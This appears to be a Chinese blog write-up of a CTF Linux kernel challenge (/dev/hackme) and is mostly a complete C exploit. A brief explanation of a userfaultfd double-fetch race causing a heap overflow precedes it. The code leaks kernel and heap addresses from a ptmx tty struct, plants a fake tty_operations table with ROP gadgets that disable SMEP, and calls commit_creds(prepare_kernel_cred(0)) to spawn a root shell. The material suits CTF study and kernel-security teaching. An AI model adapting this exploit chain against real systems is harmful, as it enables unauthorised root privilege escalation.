又是承接上文
三
我们上次介绍了userfaultfd机制,并且完成了一次利用
利用的方法是先用userfaultfd机制处理页错误让程序卡主,然后任意读写修改cred结构体完成提权。
这次是官方exp的正解,还是利用userfaultfd机制,做了一个double fetch。
问题出在没有对poll上锁
导致不同的线程可以对同一个object进行访问。
结合我们看到
free的时候没有清空size
malloc的时候是先申请,再写,再给size赋值。
那么加入我们存在这样一个情形。
线程一正常释放了一个object 0x10000,然后申请了一个0x200的object,此时,size没变。然后copy_from_user的时候用userfaultfd机制,给他卡住。那么此时,这个object就是虽然是0x200,但是可以读写0x10000,造成溢出。
溢出的操作用另一个线程即可。
能溢出之后利用的方法也是通过溢出,劫持tty结构体的operation结构体。
最后转成ret2usr即可。
exp其实如果前面都看下来的话感觉还是很好写的。
就把前面学过的都拼一拼就好了。
下面是大佬exp 自取。
但是其实我瞅了瞅大佬exp似乎写的有些繁琐。
在泄露地址,劫持tty_operation的ioctl函数的时候完全可以用前面的
但是我也懒得改了
就酱。
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002
struct arg
{
size_t idx;
void *addr;
long long len;
long long offset;
};
void alloc(int fd,int idx,char *user,long long len){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
ioctl(fd,ALLOC,&cmd);
}
void delete(int fd,int idx){
struct arg cmd;
cmd.idx = idx;
ioctl(fd,DEL,&cmd);
}
void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
cmd.offset = offset;
ioctl(fd,READ,&cmd);
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
struct arg cmd;
cmd.idx = idx;
cmd.len = len;
cmd.addr = user;
cmd.offset = offset;
ioctl(fd,WRITE,&cmd);
}
void print_hex( char *buf,int size){
int i;
puts("======================================");
printf("data :\n");
for (i=0 ; i<(size/8);i++){
if (i%2 == 0){
printf("%d",i/2);
}
printf(" %16llx",*(size_t * )(buf + i*8));
if (i%2 == 1){
printf("\n");
}
}
puts("======================================");
}
size_t user_cs, user_ss,user_rflags, user_sp ,user_gs,user_es,user_fs,user_ds;
void save_status(){
__asm__("mov %%cs, %0\n"
"mov %%ss,%1\n"
"mov %%rsp,%2\n"
"pushfq\n"
"pop %3\n"
"mov %%gs,%4\n"
"mov %%es,%5\n"
"mov %%fs,%6\n"
"mov %%ds,%7\n"
::"m"(user_cs),"m"(user_ss),"m"(user_sp),"m"(user_rflags),
"m"(user_gs),"m"(user_es),"m"(user_fs),"m"(user_ds)
);
puts("[*]status has been saved.");
}
void sh(){
system("sh");
exit(0);
}
int (*commit_creds)(unsigned long cred);
unsigned long (*prepare_kernel_cred)(unsigned long cred);
void sudo(){
commit_creds(prepare_kernel_cred(0));
asm(
"push %0\n"
"push %1\n"
"push %2\n"
"push %3\n"
"push %4\n"
"push $0\n" //rbp
"swapgs\n"
"pop %%rbp\n" //rbp
"iretq\n"
::"m"(user_ss),"m"(user_sp),"m"(user_rflags),"m"(user_cs),"a"(&sh)
);
}
void errExit(char* msg)
{
puts(msg);
exit(-1);
}
void* handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) //
errExit("[-] Wrong pool return value");
printf("[+] Trigger! I'm going to hang\n");
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("[-] Error in reading uffd_msg");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
printf("[+] fault page handler finished");
sleep(1000);
return 0;
}
void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if (s!=0)
errExit("[-] pthread_create");
return;
}
#define SEARCH_SIZE 0x200000
int main(){
save_status();
int fd = open("/dev/hackme", 0);
char *mem = malloc(SEARCH_SIZE);
memset(mem,0,SEARCH_SIZE);
uint64_t kernel_base, heap_base, ptm_unix98_ops = 0xffffffffb7825d80 - 0xffffffffb7200000; // 0x625D80
if (fd < 0){
printf("[-] bad open /dev/hackme\n");
exit(-1);
}
alloc(fd, 0, mem, SEARCH_SIZE);
delete(fd, 0);
if (fork() == 0)
{
mem = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
uint64_t fault_page = (uint64_t)mem;
uint64_t fault_page_len = 0x1000;
register_userfault(fault_page, fault_page_len);
alloc(fd, 0, mem, 0x2e0);
}
sleep(2);
int ptmx_fd = open("/dev/ptmx",0);
if (ptmx_fd < 0)
errExit("[-] bad open /dev/ptmx");
printf("---- begin to find ptmx struct\n");
uint64_t evil_buf[0x200/8];
uint64_t ptmx_offset=0;
int j = 0;
for (int i=0; i<SEARCH_SIZE; i+=0x200)
{
read_from_kernel(fd, 0, (char*)evil_buf, 0x200, i);
for (j = 0; j < 0x200/8; j++) // 其实一般是对齐的,所以一般 j==0
if (evil_buf[j] == 0x0000000100005401)
{
ptmx_offset = i+j*8;
printf("[+] find ptmx struct at offset: 0x%lx\n", ptmx_offset);
break;
}
if (ptmx_offset != 0)
break;
}
if (ptmx_offset == 0)
errExit("[-] Cannot find ptmx struct");
// print_hex(evil_buf+j*8, 0x200 - j*8);
kernel_base = evil_buf[3] - ptm_unix98_ops;
heap_base = evil_buf[7] - 0x38 - ptmx_offset;
printf("[+] kernel_base = 0x%lx\n", kernel_base);
printf("[+] heap_base = 0x%lx\n", heap_base);
prepare_kernel_cred = 0x4d3d0 + kernel_base;
commit_creds = 0x4d220 + kernel_base;
evil_buf[3] = (uint64_t)heap_base + 0x180;
evil_buf[0x38/8] = heap_base + 0x100;
write_to_kernel(fd, 0, evil_buf, sizeof(evil_buf), ptmx_offset);
uint64_t fake_tty_operations[40];
for (int i = 0; i < 0x10; i++) //一般
fake_tty_operations[0x80/8+i] = kernel_base + 0x5dbef;
fake_tty_operations[0xc8/8] = kernel_base + 0x200f66; //mov rsp, rax; pop r12; push r12; retn
fake_tty_operations[0] = kernel_base + 0x01b5a1; //pop rax ; ret
fake_tty_operations[1] = 0x6f0;
fake_tty_operations[2] = kernel_base + 0x0252b; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
fake_tty_operations[3] = 0xdeadbeef;
fake_tty_operations[4] = &sudo;
write_to_kernel(fd, 0, fake_tty_operations, sizeof(fake_tty_operations), 0x100);
ioctl(ptmx_fd,0xdeadbeef,0xdeadbabe);
}